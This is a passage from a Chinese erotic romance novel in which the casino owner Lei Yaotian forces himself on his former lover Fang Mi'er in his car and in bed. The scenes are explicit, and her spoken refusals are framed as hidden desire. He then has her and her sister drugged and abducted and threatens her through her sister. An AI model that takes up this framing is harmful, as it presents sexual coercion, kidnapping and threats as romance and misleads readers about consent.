深吸了口气,她故意忽略胸中那份苦涩,笑着又说:“还有呀!你明明知道自己多有魅力,每次一出现在公共场合,就有好多女孩子的眼光都放在你身上……对了,不只女的,连男的也喜欢看你,昨天不是有好几个过来跟你搭讪吗?” “喂喂,你说的那些男的都是同志,别把我和他们扯在一块。”萨维克瞪大眼睛。

方蜜儿掩嘴一阵轻笑,萨维克哼了一声,“对!就是要笑,我希望你多笑,你笑起来很漂亮,要让自己比以前过得更快乐,这样才能气死某人。”

“某人?”方蜜儿微怔。

“就是你以前那位不知在想些什么的烂雇主。”萨维克凉凉地说。

方蜜儿苦笑了笑,不知该说些什么。

她和雷尧天之间不是说断就能断得干净俐落的,就算她有这样的认知,明白要抛掉过去的包袱,自己才能真正快乐;但知是一回事,做又是一回事,很多时候,感情走向是完全不受理智主宰的。

这一切的苦恼心痛全是她自找的,她明白。

以雷尧天的个性,现在说不定怀里已拥着另一位漂亮女郎,根本不会把她放在心上;对他而言,她毫无价值,只是他用过了、令他感到厌烦的破鞋,她还能不清醒吗?

想到他或许正与别的女人在那张大床上翻滚,做那些亲密的行为,她的心口还是不争气地漫出疼痛。

她讨厌这样的自己,好讨厌!

“蜜儿?”萨维克别有深意地观察着方蜜儿的神情变化。“你还好吗?” 看来,雷尧天那家伙真是捡到宝了,竟然能让她用情这么深?

方蜜儿回过神来,有些虚弱地摇了摇头,抓起小包包,对他一笑。

“没事,我出去走走,你还有很多正事要忙,我会照顾好自己,掰掰!” 萨维克看着方蜜儿出门,嘴角淡淡上扬,显露出捉弄的模样。

他拿出手机,决定拨个电话跟老朋友“问安”一下。

想起二十分钟前,萨维克在电话里传来的得意语气,雷尧天一肚子火,看什么都不顺眼。

“我的‘金币赌场’差不多下个月底就能完成所有的装潢,既然要在拉斯维加斯当老板,还是亲自打个电话过来跟你拜码头,以后要多多照顾我呀! “是呀,我已经跟蜜儿正式求婚了……她现在还在赌城,我暂时先安排她住在饭店里,唉!她实在很可爱耶,跟她真正交往后,才知道她有多纯真、多甜美……

“咦?雷,你喉咙怎么了?最近感冒了吗?声音听起来不太对耶!

“好了,我不跟你多说了,蜜儿跑去逛书店,说要买几本书,说不定还会跑去唱片行买CD,我也有自己的事要忙,该挂电话了;不过话说回来,蜜儿真的和我之前交往的女孩子完全不同耶!她不要钻石也不要贵重的礼物,可是我送她花,她倒是挺高兴的。而且我发现,她待在赌城这么久,竟然连吃角子老虎也不会玩,哈哈!好可爱……”

最后,还是他粗鲁地挂了萨维克的电话,下一秒,那具精致、价值不斐的古董电话就被他抓起来狠狠摔向墙壁,变得支离破碎。

再下一秒,他想也没想就冲进电梯里,直达地下的私人停车场,开过了几条衔,在一家橱窗布置得十分温馨的书店对街停下车。

他知道,这家书店一直是方蜜儿的最爱。

就算街道的另一边开了一家超大型又摩登的复合式书店,她还是喜欢来这里买书。她这个人,常常是感性重于理性,一旦对某样东西产生感情、有了依恋,就会傻傻地持续下去,简直愚蠢!

忽然,一抹古怪又奇异的思绪在脑海中浮升──她在他身边四年,难道对他没有感情、没有依恋?

坐在驾驶座上,雷尧天眯起黑眸,出神地看着温馨书店的门口。

他不太清楚为什么要思索这些事,而且还抛也抛不掉地紧紧附着在他脑里。 她对他是什么样的感觉,这一点也不重要,不是吗?

咬咬牙,他的脸色变得更阴沈。

这时,书店的门被推开了,方蜜儿纤细窈窕的身影走了出来,她怀里抱着一个装着书的牛皮纸袋,可能突然接触到外面的凉风,她明确地瑟缩着,藏在软帽和围巾里的脸看起来好小。

她站在街道上好几秒,微微咬着唇,似乎想着该往哪边去,看看左边的街景,又望瞭望右边的景象,像是个迷路的女孩。

彷佛心有灵犀,她迷蒙的眼睛缓缓移转,终于发现停在对街的车子,然后,与坐在驾驶座里的男人目光相接,隔着街对视了好几秒。

方蜜儿忽然间回过神来,心脏咚地一跳,差些抱不牢怀里的书。

她相信此刻自己的脸色一定很苍白,想也没想,她胡乱选了一个方向,低着头急急往前走。

她不知道要走去哪里,但只要远远离开那个男人,不看他、不听他、不想他,去哪里都行!

她以为这么做就可以躲开他,没想到那辆车突然跟上来,车窗摇了下来,雷尧天铁青着脸对她命令:“上车!”

她还是垂着脸往前迈步,而且走得更急,什么话也不说。

“我要你上车!”雷尧天提高音量。

方蜜儿抱紧书,肩膀忍不住瑟缩了一下,依然固执地继续走,把他当成陌生人兼隐形人。

这下,果然彻底惹恼原本就坏脾气的雷尧天,他猛打方向盘,车轮“吱!”地一声发出剌耳声响,整辆车恶劣地横在方蜜儿面前,把她吓得倒退一大步,还狼狈地跌坐在人行道上,引来一堆人的目光。

跟着,恶质男人跨下车,一把抱起她,不顾她的挣扎,将她塞进前座座位。 “敢给我逃跑试试看!”他撂下话,帮她拉来安全带扣上。

方蜜儿被雷尧天威胁的口气吓住,不禁怔住,就在这时,他己重新坐进驾驶座,迅速地倒档、踩油门,载着她飞快离去。

一直开了半个小时左右,车子来到城市的边缘地带,再过去已看不到任何建筑物,因拉斯维加斯本就建立在一大片沙漠中,他们远离了赌城的喧嚣,置身在原始的景象里。

装着书的牛皮纸袋掉在脚边,方蜜儿没打算捡,两手环住自己,咬着唇,小脸白惨惨的,像受到惊吓的小动物。

雷尧天在心里诅咒,猛然间,方向盘一个大回旋,底下车轮扬起漫天黄沙,车子终于停下来。

“擡头看我。”依然是命令人的坏口气,可惜效果不彰。

见她冷漠又抗拒的模样,他心中十分不是滋味,修长手指己探了过去,硬是扳起她几乎要埋进围巾里的小脸,这一看,胸口被狠狠撞了一下……

她在哭,正静静地掉着眼泪。

她的泪总是有办法让他感到烦躁,而且是莫名的烦躁。

面对她的泪水,以往他的解决方法是吻得她头晕目眩、浑然忘我,用唇、用手膜拜她柔软的曲线,挑起她惊人的热情,让那些教人烦闷的泪水在他的高超技巧下,转变成喜悦、激切的高潮感动。

问也不问原因,他倾身压向她的小嘴,一手还按住她的后颈,不让她有闪避的机会。

“不!唔……”方蜜儿想拒绝,两片柔唇才发出声音,他的舌已强横地挤入她的嘴里,那是他熟悉得不能再熟悉的地方,男性的气息一下子夺取了她的唿吸,炽热的舌在里边吸吮翻搅,狠狠逗弄着她。

为什么?他明明已经不要她了,为什么还不放手?还要这样纠缠着她,把她好不容易压制在深处的渴望又唤醒了,为什么他这么可恶?为什么!

方蜜儿感觉雷尧天解开她身上的安全带,她以小手推拒着他的靠近,但他的力气远比她大出好多倍,他持续用唇侵犯她,吻着甜蜜的小嘴还不够,他扯开那条碍事的围巾,开始轻吮她的雪白颈项和可爱的耳朵,在敏感带撩起一波波战溧。 “不能这样……你不要这样,放开!”方蜜儿气喘吁吁,皱着眉心,拍打雷尧天肩膀和胸膛的手变得越来越没力气,她的理智正在迅速流失当中。

“我偏要!”雷尧天恶霸的个性高扬,有力的双臂轻而易举地将她抱到自己大腿上,然后放低椅背,两人在狭小的座位上紧紧相贴。

“尧天,我们……已经没有任何关系了,你不可以这样,住手!”方蜜儿脸蛋变得红通通,忽然惊叫了声,因为雷尧天粗糙的大手从底下探进她的针织毛衣里,扯开胸罩,爱抚着那团温暖的丰乳。

雷尧天的唇再次含住方蜜儿的小嘴,边吻边低哑地说:“我偏要!告欣我,这几天在萨维克的床上,他也这样抚摸你吗?用他的手、他的唇爱抚过你身体每一吋肌肤吗?”

怒气和妒火在胸口燃烧,他不愿意承认,动作却变得急切起来。

他一手撩高她的裙,享受她肌肤的柔嫩,跟着滑进她的小裤里,手指不断刺激那朵美丽又柔嫩的花朵,让她为他沁出晶莹的春潮,等着迎接他而绽放。 听见雷尧天恶劣的话语,方蜜儿轻抽了口气,拼命摇头。

“我没有!你……”不知能说些什么,她心里好委屈,眼角滚落串串珍珠,润湿了整张通红的脸蛋。

雷尧天讨厌她的泪,用舌头卷走她所有的泪珠,还坏脾气地命令:“不准再哭了。”

“放我走!”她吸吸鼻子,没发觉自己可怜的模样能让任何男人疯狂。 雷尧天眼神黝暗,擡起方蜜儿的玉腿,强迫她张开双腿跨坐在他腰上。 “你干什么?啊!”差点失去平衡,她身躯向前倾,两手赶紧抵在他宽阔的胸膛,然而她的坐姿已将腿间最私密、柔软的地方,贴在他鼓胀的裤头。 “蜜儿,我的蜜儿,你当然知道我要干什么?这种事,我们曾经干过不少次,不是吗?”他邪气地扬唇,一手释放自己的裤头,一手揽住她的腰。

“都结束了,我……我们早就结束了!”

“是吗?”

方蜜儿拼命想忍住呻吟,但雷尧天湿热的嘴唇蓦地含住她的乳尖,贪婪地吸吮、逗弄,害她的大脑一团混沌,娇躯不禁战栗了。

车外气温好低,车内却热得让两人额头都沁出细汗。

“真的结束了吗?”他声音沙哑,“你的身体却不这么认为,仍然渴望我的爱抚和亲吻,渴望我的贯穿和充满,是不是?蜜儿,甜蜜的蜜儿,我的蜜儿……” “不!”她不仅脸红,裸露的肌肤也同样泛出诱人的玫瑰色泽,“不是这样,我不是你的,不是了……”

这顽固的女人!雷尧天窜着火焰的双眸颜色陡地变深。

“你不是我的?哼!那是萨维克的吗?看来,你还挺有职业道德,爬下我的床后就不留情分,想专心伺候另一个金主吗?”

“我没有……”她又哭了,小手捶打着他的肩膀,挣扎着要离开他的大腿。 猛然间,他将她拖回来,一手绕到腰后捧着她的翘臀,一手扶住蓄势待发的昂长,健腰往上一项,从被撕扯得残破不堪的底裤边缘挺进她体内,贯穿了女性的柔嫩。

“啊……”她全身战栗,那团巨能几乎是在瞬间引爆,她的下腹彷佛燃烧着熊熊大火,他的进出阻断她所有思想。

“你可以比较看看,我和萨维克哪一个技巧好?”他吐出恶意的话语,硬是按住她的纤腰,将她双腿扳得更开。

“你好过分!呜……你好过分,我讨厌你、讨厌你、讨厌你……”她呜呜哭泣,面对他的掠夺却又无能为力,只能虚软地伏在他胸前喘息。

雷尧天紧抿薄唇,她的话再次激起他另一波的怒潮,但她哭泣的小脸却隐隐约约软化他刚硬的心。

这样矛盾的感情让他不愿多想,强而有力的双臂将她拥得更紧。

他不断在她体内放火,进行着最原始的韵律,越来越猛烈、越来越疯狂、越来越放纵……

直到双双丧失了理智,化身成两头完全受情欲支配的野兽,在一望无际的沙漠中尽情释放、尽情飞翔……

第六章

她在哪里?

透过迷蒙的视线,方蜜儿缓慢地撑起身躯,环视着周遭。

熟悉的摆设、熟悉的味道、熟悉的触感,还有那面她极爱的落地窗……她怎么会回到这里来?

她明明已搬离这个她住过四年光阴的地方,为什么又回来了?

轻眨眼眸,她掀开被子想要下床,双腿的虚软和衣衫不整的模样,提醒了她先前在车内发生过的激情交缠。

“哦,老天!”脸颊一下子染红,她咬咬唇,觉得好难堪、好羞耻。难道她又在那男人怀里晕厥了吗?

他到底要她怎么样?他为什么还要来招惹她?

房门忽然被推开,她迅速擡起脸,心跳加快地望着出现在门口的雷尧天。 他手里竟然端着托盘,上头盛满食物和一杯温牛奶,一边深深注视着她,一边关上门,走到床边。

方蜜儿的小手紧张地抓住胸口,见他一步步靠近,她想也没想就要站起来,却被他侧目瞪了一眼。“坐下!”

根本用不着他命令,她起身得太快,再加上双腿没什么力气,只站了三秒钟,小屁股又重新跌回床上去了。

雷尧天将托盘放在方蜜儿旁边的小茶几上,还是习惯用着强硬的口气。“把上面的东西全部吃掉。”

“我不饿。”她一点胃口也没有。

“不饿也要吃。”

“我……不想吃。”她不要他管!她赌气地想。

“不想也要吃。”但他摆明不让她好过。

“你……”她喘着气不知该说些什么,忽然摇了摇头,鼓起勇气说:“我……我要回去!”

雷尧天锐利的眼睛眯了眯。“回去哪里?”

“不用你管,反正我不要待在这里。”

雷尧天脸色又臭又黑,下巴紧绷。“我偏偏要管!我偏偏不放你走!” 方蜜儿不禁看向雷尧天,实在弄不明白他到底在想什么。

雷尧天则是觉得莫名郁闷,如果他不是那么骄傲的话,他或者会对自己承认,他的确是在吃醋,心里很不是滋味。

他双手抱在胸前,薄唇撇出冷然的笑,“萨维克在等你一起晚餐吗?你急着要离开这里,是怕他发现你还跟我厮混在一块,会危及到你和他的婚约吗?” 方蜜儿脸色变得十分苍白,咬咬唇,难过地说:“我……我才没有和你厮混……”

“没有吗?”雷尧天轻佻地扬眉,唇在笑,眼里却没有笑意,“那今天下午在车里发生的那些,又是怎么一回事?蜜儿,我的蜜儿,你知不知道,你最后达到高潮、热情呻吟的模样有多淫荡、多动人?”

“你!”方蜜儿又羞又气愤,喘着气,难堪和委屈不断涌起,眼眶一下子又热了,哑着声音指控。“你为什么这么过分?为什么就不能放过我?明明是你主动让这一切结束,又为什么不让我好好过自己的生活?你到底要我怎么样?你要我怎么做才高兴?你说啊!”

雷尧天一时间竟被方蜜儿问得哑口无言。

他到底要她怎么做?

是他让两人之间的关系画下句号,他根本不在乎她,她想跟谁在一起,对他来说都无所谓,不是吗?

该死的!他到底吃错了什么药?为什么一想到她躺在其他男人怀里的模样。心中就烧起一把怒火,甚至有杀人的冲动?

“我要你跟萨维克解除婚约。”等回过神来,这句话已经从雷尧天嘴中说出,他忍不住一愣,却在很短的时间内恢复傲然的神态。

方蜜儿瞪着雷尧天。“为什么?”

“不为什么。”他还是那么骄傲。

她被他的烂答应和怪脾气气得脸红。“只要我跟萨维克解除婚约,你就满意了吗?”

他双目细眯,冷声地说:“嫁给那家伙捞不到什么好处,瑞尔家族的主要企业根本不归他管,你真想嫁他,还不如继续留在这里,当我的情妇。”

“什么?”

“我说得够清楚了。”

是!他是说得够清楚,也理直气壮得很,却没发觉自己出尔反尔,一下子要赶人家走,现在又想要人家回来,实在矛盾得不得了,又恶劣得不得了! 方蜜儿怔了怔,小口地喘着气,仍然猜不透雷尧天的想法。

她要自己别再天真,她应该要认清这一切!

垂下脸蛋,她沉默了几秒,终于说:“我没有要结婚。”

“什么?”雷尧天以为自己听错了。

“萨维克跟我求过婚,可是……我没有答应。”

“你没答应?”

“嗯。”她脸垂得更低。

该死!萨维克那臭家伙竟敢故意骗他?

五官刷过奇异的光辉,雷尧天控制着唿吸,声音略沈地问:“为什么不答应?” 方蜜儿绞着手。“我不想结婚。”

“为什么不想结婚?”问题一个紧接着一个。

“就是不想。”方蜜儿含煳地回答,“我不会嫁给萨维克,你可以放我走了吗?”

拜托!别再继续追问了,求求你,不要再问了!

方蜜儿揪着心,只想赶紧从雷尧天身旁走开,再待下去,她怕会招架不住他咄咄逼人的质问。

雷尧天露出深思的表情,不答反问:“你不打算结婚,你那个宝贝妹妹馨儿怎么办?你要怎么提供她庞大的学费和生活费?”

方蜜儿迅速瞥了雷尧天一眼,不懂他为什么这么关心她的事。

“馨儿就快毕业了,我可以照顾她,我手边还有一些存款,而且萨维克可以提供我工作机会,他的赌场开幕后,我就能上台唱歌赚钱。如果馨儿那边真有什么状况发生,需要再用钱的话,我也能先跟萨维克预支一些,以后再慢慢按月偿还,我想,他应该会答应借钱给我……”

“不准你跟萨维克借钱!”雷尧天超不爽地低吼。

方蜜儿吓了一跳,无辜地眨眨眼,想起目前两人的关系,她心里好乱,又觉得委屈,不禁赌气地说:“我的事不用你费心。”

雷尧天嘴角抽搐。“我也说过,我偏偏要管!”

跟他再纠缠下去,她永远都会占下风。方蜜儿深吸了口气,努力让声音平静,“请你让开,我该走了。”

她再次站起来,还没来得及跨出一步,手已被雷尧天握住。

“你还想干什么?”她甩不开他的钳制。

他往床上一坐,同时轻松使力,下一秒,她整个人跌进他怀里,坐在他大腿上。

“放开我!”她心跳加速,害怕自己又要在他面前显露出软弱的一面。 她想逃!逃得远远的,只要不再和他接触,她就不会再受伤。

“不要这样好不好?你……你到底要我怎么样嘛?”她完全被他弄煳涂了。 雷尧天忽然吻住方蜜儿,两手蛮横却又温柔地探进针织毛衣里,爱抚着那对温暖的绵乳。

“你……唔……不……”她怎么也躲不开他的亲吻,男人把她的唿吸全占领了,霸道地用他的气味染遍她的小嘴。

“我发现,”雷尧天吐出灼烫的气息,“我对你还是很有兴趣,你的身体和味道依然能让我感到兴奋……”

方蜜儿脸蛋通红,胸脯在雷尧天粗糙大手的揉捏下,升起阵阵的胀热感,忍不住在他的爱抚下颤抖。

雷尧天顺势倒进床里,翻过身将方蜜儿压在底下,灼人的视线望进她氤氲迷蒙的眸底。“我还是想要你。”

“你不能这样为所欲为。”她伤心地控诉。

他的薄唇扯出一个高深莫测的笑。“我一向为所欲为,你最清楚了,不是吗?” “你……”

不让她的唇儿再吐出话语,他埋头给了她一记深长的舌吻,扫遍她小嘴里每一处细致的地方,像要夺取她的灵魂似地深深吸吮,吻得她十根脚趾头忍不住弯起,瘫软在他壮硕的身躯下。

“唔……尧天……”她克制不住地呻吟,小手攀住他宽阔的肩膀,双腿贴着他轻轻蹭着,仿佛在无言地邀请着他。

“我不允许你再跟萨维克接触,听见没有?”雷尧天在方蜜儿脸上喷气。 她瘪瘪嘴,委屈地说:“萨维克和我只是朋友……你为什么要诬蔑人家?我和他根本什么事也没发生,我不可能跟他在一起的,你好过分!怎么能这样误会我?”

只是朋友?他误会她了?

雷尧天深刻地注视身下的方蜜儿,眼神无比地耐人寻味。

忽然,他凉薄的唇勾勒出奇异的弧度。

“蜜儿,你没答应萨维克的求婚,是不是因为我?你喜欢我,所以没办法答应别人的求爱?是不是这样?”

雷尧天的声音听起来似乎带着一丝笑意,还有几分自得,方蜜儿迷迷煳煳地掀动眼皮,一时间没听懂他的话。

“你喜欢我,这些年待在我身边,你已经在不知不觉间喜欢上我,甚至……爱上我了?”

他早已褪下她的衣裙,掌心缓缓罩住她温盈丰满的胸脯,享受着那份触感。 “不!不是的!”方蜜儿倏地反应过来,小脸变得迷乱,“我没喜欢你,我……我没有……我不可能爱上你的,我没有……”

她的否认太过激动,急着要撇清一切,反而证明了雷尧天的猜测。

“你真的爱我?”他深沈的双眼微微细眯,观察着她脆弱的神情。

她的唿吸变得好急促,眼眶里尽是泪水,拼命摇头,勾住他颈项的手开始推拒起来,在他身下不断挣扎。

“我不爱你!我不爱、不爱、不爱!放开我!让我走!”

为什么要这样逼迫她?那是她深藏在心底的秘密,最甜也最苦涩的秘密,只要不说出口,她的心至少还有尊严,为什么他连这一点点的东西都要掠夺? “我不想爱你的,不想啊!”

她不想,但她就是爱了……

她的小嘴再次落进男人双唇里,他吞噬了她所有言语,双手在她美丽的胴体上点燃无数火焰。

他存心要她疯狂、失控,努力逗弄她敏感的每一处,驱逐了她脑中仅余的思考。

“不……嗯……啊……”细致的娇吟渐渐取代哭泣,就算她仍在流泪,也已混进痴迷。

两人都赤裸了,大床上两具交缠的身躯美得不可思议。

雷尧天的吻洒落方蜜儿全身的粉嫩肌肤,他半跪着,扳开她的玉腿,眷恋着她小腹的热唇忽然往下移动,以舌尖寻找到腿间绽放的那朵娇花。

“不……”方蜜儿惊喘一声。力气瞬间被抽光殆尽。

但雷尧天我行我素惯了,想做什么就做什么!

按住她圆润的双膝,他的舌先是来回磨蹭花朵顶端的肉色珠蕊,逗得她娇喘连连,像水蛇般不断摆动腰肢,而那颗晶莹的小球也因过度的刺激,在他舌下变得坚硬血红。

“尧天……”方蜜儿已濒临疯狂,螓首不断地摇晃,身子也不断拱向他。 雷尧天的行径更加惊世骇俗,模拟着男女结合的动作,热舌滑进狭小又湿润的甬道。

配合着吸吮的力道,他热烈的唇舌一下强过一下,不断攻击她的细嫩,在她体内制造出可怕的刺激。

方蜜儿尖叫着,温暖爱液狂泄出来,全身仿佛着火一般。

雷尧天的唇离开她,却以手指持续在她腿间加热,然后擡起头凝视着她失控的模样,进出她体内的手指早被一波波涌出的春水溽湿了。

“蜜儿,你只能是我的,我不允许任何人得到你。”他终于对自己承认,她对他而言,仍然具有某种程度的意义。

他不想再强迫自己忽视她、继续将她抛到脑后,他没办法不受她影响,只好永远地把她占为已有。

她是他一人独有,是他私人财产,他绝不允许别人染指!

他抽出手指,将她拖近,握住早已肿胀充红的欲望,先是在花径入口磨蹭着,沾染了她的爱潮,接着,他沈下腰,缓慢却不容抗拒地贯穿了她。

“啊啊——”

“唿——”

两人同时发出叫喊,她的细致一下子包含了他的巨挺,如同第二层皮肤股,紧紧套住他。

“老天!”实在太紧了!雷尧天低喘着,扶住方蜜儿柔软的腰,控制不住力道地摆动起来。

那一下下的撞击带来不能言喻的快感,充满的瞬间又再度退出,在她的渴求下猛烈地冲进她的身体里。

“啊啊——啊——”方蜜儿忘我地叫喊,细致肌肤泛出美丽的玫瑰色泽,每个毛细孔都渗出温热的细汗。

“尧天……不行了……太快了,我头好晕,不行了啊……”

雷尧天忽然抽离,躺在方蜜儿身旁,强壮的双臂从身后抱住她,舔弄着她发红的耳朵。“还不到时候,蜜儿,我还想要更多更多!”

他擡起她的腿,从身后再次进入她体内,结实地充饱她芳美的紧窒。

“尧天!”

方蜜儿双手抓着床单,扯得加倍凌乱,艳红的小嘴不断逸出吟叫,她的身体就像乐器,在男人的撩拨下演奏出美妙的音符。

这场火燃烧了好久、好久,他在她娇软的身上尽情驰骋,有时激烈震撼,有时绵长缓慢,将她摆布得全身战栗。

她迷迷煳煳地又哭又叫,直到他完全释放丁自己,将灼热的种子大量地撒在她温暖的花园中,在她的紧缩中抽搐,毫无保留地给予……

她的疯狂到达巅峰,尝到前所未有的满足,这一刻,空气里散发出相爱过后的浓烈气味,他们像是抱着世界上最珍贵的宝物般紧拥住对方,在彼此怀里找到自己……

第七章

该死的,她真的不见了!

雷尧天简直不敢相信,方蜜儿竟然趁他和艾斯里在赌场二楼的办公室处理事务时偷偷熘走了。

这女人!他已经拉下脸做出退让,要她回到他身边,她竟然把他的话当作耳边风?

该死的女人!如果让他找到她,他一定要将她绑在床上好好教训她,让她明白违抗他的命令将要付出什么代价。

来到即将开幕的“金币赌场”办公室,雷尧天双手握成拳头,冲着坐在大办公桌后抽着雪茄的萨维克怒吼:“她在哪里?”

萨维克喷出白色烟雾,嘻皮笑脸地说:“哟——我的赌场还没办开幕酒会,你倒先来拜访啦!难得、难得,你可是贵客哩!要不要来根雪茄?是牙买加的上等货,不抽可惜哦!”

“别想转移话题。”雷尧天用力盖下萨维克递到面前的古董雪茄盒盖,“我要知道她在哪里!”

“没头没脑的,你到底在问谁呀?”

雷尧天目光一沈,充满危险。“不要逼我揍人,你知道我在问谁。”

“呃……”萨维克原先轻松的神态僵了僵,他是聪明人,当然明白凡事适可而止的道理,如果再继续装傻下去,下一秒八成会被人打趴在地上。“你是在问我的蜜儿吗?”

“她不是你的!”雷尧天音量猛地往上飙。

“我已经跟她求婚,她迟早是我的。”

“她根本没有答应你的求婚,她根本就不想嫁给你,你趁早死了这条心。” 萨维克挑眉,希奇地瞪着眼前发火的男人。

“咦?你怎么前后判若两人?你之前根本没把她放在眼里,还大方得不得了,说她要怎么决定都随她,反正她离开你,你可以去找其他更美丽、更年轻的女人来递补呀!现在为什么又来跟我抢她?”

雷尧天严峻的脸泛起一层热度,但他仍怒瞪着萨维克,霸道地说:“我现在就是要她,我高兴!”

“雷,你到底把蜜儿当作什么了?”萨维克叹气,“她是活生生的人,有感情、有思考能力,她也会受伤、会难过,你难道都不曾为她想过吗?”下子赶她走,一下子又要她回到身边,你知不知道你很恶劣?女人是用来疼的,特别是像蜜儿这样柔弱美丽的小东西,更需要男人的怜爱,看你对她这么无情,我真为她心痛。“

雷尧天磨着牙,粗声地说:“你的轻怜蜜意不必用在她身上,她喜欢的是我,她爱我!”

萨维克好看的眉毛挑得更高。“你怎么知道她爱你?她亲口说的?”

不!她没说,还不停否认;但越是用力否认,越有此地无银三百两的嫌疑,所以,她是爱他的!

“蜜儿当然爱我,她如果不爱我,早就答应你的求婚了。”老鹰般锐利的眼睛紧盯着萨维克,雷尧天再一次问:“我要知道蜜儿在哪里!”

“唔……”

“你再不说,我保证你的‘金币赌场’不用等到开幕酒会举办,马上就可以宣布倒闭,你信不信?”

这当然不是威胁,萨维克十二万分地相信,雷尧天肯定有这样的能耐。 “好啦!说就说啦!”萨维克叹着气摊摊双手,“我已经安排蜜儿上了我的私人飞机。”

“什么?!”雷尧天没想到会是这样的答案。

“她跑回来找我,急匆匆地求我帮忙,说无论如何一定要离开拉斯维加斯,我心肠软,当然义无反顾地帮她这个忙呀!”内心在偷笑,萨维克努力维持脸部表情。

雷尧天胸口急速起伏,脸色瞬间变得铁青。“她要飞去哪里?”

“纽约。她要去找她妹妹。唉!可怜的蜜儿,我真的满担心她的,或者我应该跟她一块去,在她身边好好照顾她才是。”

闻言,雷尧天又坏脾气地大吼:“从今以后,你给我离她远一点,她的事不用你费心!”

丢下话,他转身走人,还狠狠地甩门出气。

唿——好险!好险!

坐在办公桌后的俊美男人吁出一口气,苦笑了笑,擦擦额头上的细汗。 虽然挺过瘾的,但还是吓得人差点心脏无力哩!

离开赌城,已经三天了。

这三天对方蜜儿来说,脑中的思绪终于有足够的时间沈淀下来,从一团混乱中回复到平静。这样的平静是珍贵的,她真希望能一直如此下去,远离那个教她又痛又爱的男人。

“姊,我明天要跟珍妮去试镜耶!如果能得到那个角色,我说不定有机会进军好莱坞,成为大明星哦!”

雪花暂时停止了,冬天的阳光难得露脸,显得特别温暖,正轻轻撒落在美丽的人行道上。

方蜜儿和方馨儿并肩走在一起,她们刚从位于两条街外的大型购物中心买完东西,两人怀里都抱着一个大纸袋,沿着人行道散步回来。今晚,方蜜儿准备亲自下厨,做一顿丰盛的料理。

听妹妹这么说,她不禁扬起略显纤细的下巴,柔声问道:“可是你不是想当服装设计师吗?怎么突然想去参加试镜?”

方馨儿哈哈笑着,美丽脸庞比起姐姐的较为丰润。“有机会就多尝试嘛!说不定无心插柳柳成荫,我真的会被选中,然后一炮而红哩!”

“我觉得……还是实际一点比较好。馨儿,你不会突然说要放弃服装设计师这条路吧?”

“姊,瞧你想到哪里去了!我知道自己在做什么啦!”

方蜜儿宠爱地望着妹妹,幽幽叹气。“我就怕你太天真、太梦幻。”

方馨儿也跟着叹气。“姊,我就快毕业了,我知道这几年你很辛苦,等我找到工作,有一份好的收入,换我来照顾你,让你快快乐乐等着嫁人,好不好?” 方蜜儿脸蛋突然红了,抿着笑,瞪着妹妹一眼。“等着嫁人?我嫁给谁呀?” “当然是嫁给你驻唱的赌场老板啊!我之前到拉斯维加斯看你时,不是见遇他几次吗?呵呵呵,姊,我的第六感是很准的,那个男人看你的眼光很不一样哦!好霸道呢!好像你是他的,别的男人要是敢看你一眼,他肯定会扑过去把对方的眼珠挖出来!”

方蜜儿没想到方馨儿会提到雷尧天,一颗心仿佛正承受着八级的大地震,震得她头晕目眩。

这一次,她走得匆促,依他的脾气,一定不会这样就善罢干休的。

幸好还有妹妹这里可以躲避一下,纽约这么大,他应该找不到她才是。 “姊,你怎么了?姊!”

“啊?”方蜜儿陡然回过神,看见方馨儿奇怪地眨着眼。

“没事……”方蜜儿虚弱地笑了笑,随即振作起精神,“回家吧!我今晚要大展身手,好好犒赏你的胃。”

方馨儿也跟着笑了,在她眼里,姐姐就如同母亲一样,照顾着她、支持着她。 “姊,以后谁娶到你,真是三生有幸。”

“说什么呀你!我如果要嫁人,也要等我把你嫁掉再说。”

“哇!不会吧?”

“就会!”

“那八成要委屈姊跟我一起当老姑婆啰!不行不行,你别害我被那个红龙赌场的大老板吊起来打。”

怎么又扯到他?唉!方蜜儿心不禁一痛。

就在这时,一辆箱型车忽然驶近,刷地一声,车门被迅速推开,跳下三个虎背熊腰的大男人,不由分说就扣住她们的手臂。

“干什么!你们是谁呀?”方馨儿吓得大叫,“放开我姊,放开……唔……” 一块沾有特殊气味的白布忽然覆住方馨儿的口鼻,她眼皮眨了眨,跟着双腿一软,轻轻松松就被挟进车里。

“馨儿?救命啊!救命……”方蜜儿边挣扎着边喊救命,可惜也遭遇到相同的待遇,吸入迷药,完全地晕厥过去。

三名男人得手后,跳上车、关起车门,迅雷不及掩耳地离开现场,只留下散落一地的食材和日常用品。

“馨儿!”

方蜜儿忽然惊醒,拥着被子弹坐起来。

完全陌生的房间,却有着淡淡的熟悉气味,她喘着气,双眸迷惑地在昏黄灯光中游移。

“终于醒了。”男人的声音陡地响起。

方蜜儿倒抽一口凉气,循着声音望去,看见一个高大的身影倚在窗边,眼眸在幽暗中闪烁着深不可测的光辉。

“你……你来了……”方蜜儿抓紧被子,心跳得好快。

雷尧天手里拿着酒杯,缓缓踱到床边坐下,鹰般锐利的眼神瞬也不瞬,似笑非笑地说:“我不能来吗?”

“你……你怎么找到这里的?”老天!才短短三天时间,他就掌握了她的行踪,方蜜儿发现自己真的太天真了。

雷尧天把酒全数灌进嘴里,丢下空杯,双臂忽然将方蜜儿揽住,一手还从后头扯住她的头发,强迫她仰起小脸。

下一秒,他的唇罩上她的,浓烈的酒汁混合着他的气味,灌进她的唇齿里。 “唔……你……”方蜜儿皱起眉心,小手推拒着雷尧天的胸膛,但两人的气力实在相差太多,她根本撼动不了他一分一毫。

雷尧天尽情品尝她的甜美后,才稍稍放开对她的钳制,黑眸对进她楚楚动人又惊慌不已的漂亮眼睛,灼烫气息扫遇她的嫩肤。

“我的蜜儿,你以为偷偷从我身边跑走,就能一辈子躲开我吗?你美丽的小脑袋瓜里到底在想些什么?”

“我不要再这样下去,是你要我走的,你为什么就不能放了我?”方蜜儿难过地咬着下唇。

她的心好痛,爱一个人总是要这么受伤吗?还是只有她特别笨、特别痴陉? 她不想再继续下去,难道都不行吗?

雷尧天扣住方蜜儿纤细的下巴,额角跳动的太阳穴显示出怒气。

“好!我现在不要你走了,我要你回来!我就要你。”

“我不要了、我不要了……”方蜜儿眼角渗出泪水。

心里终于明白,就算她再爱他,用尽全身力气爱他,如果仍然选择留在他身边,她永远不会快乐,只会一天比一天更讨厌自己。

她真的不要了!

“你没有说不的权利。”雷尧天阴沈沈地说。

“我不……”

“想想你那个宝贝妹妹。”雷尧天的口气饱含威胁。

方蜜儿的脸色一下子转为苍白,身躯变得如同石雕般僵硬。“你想对馨儿怎么样?”

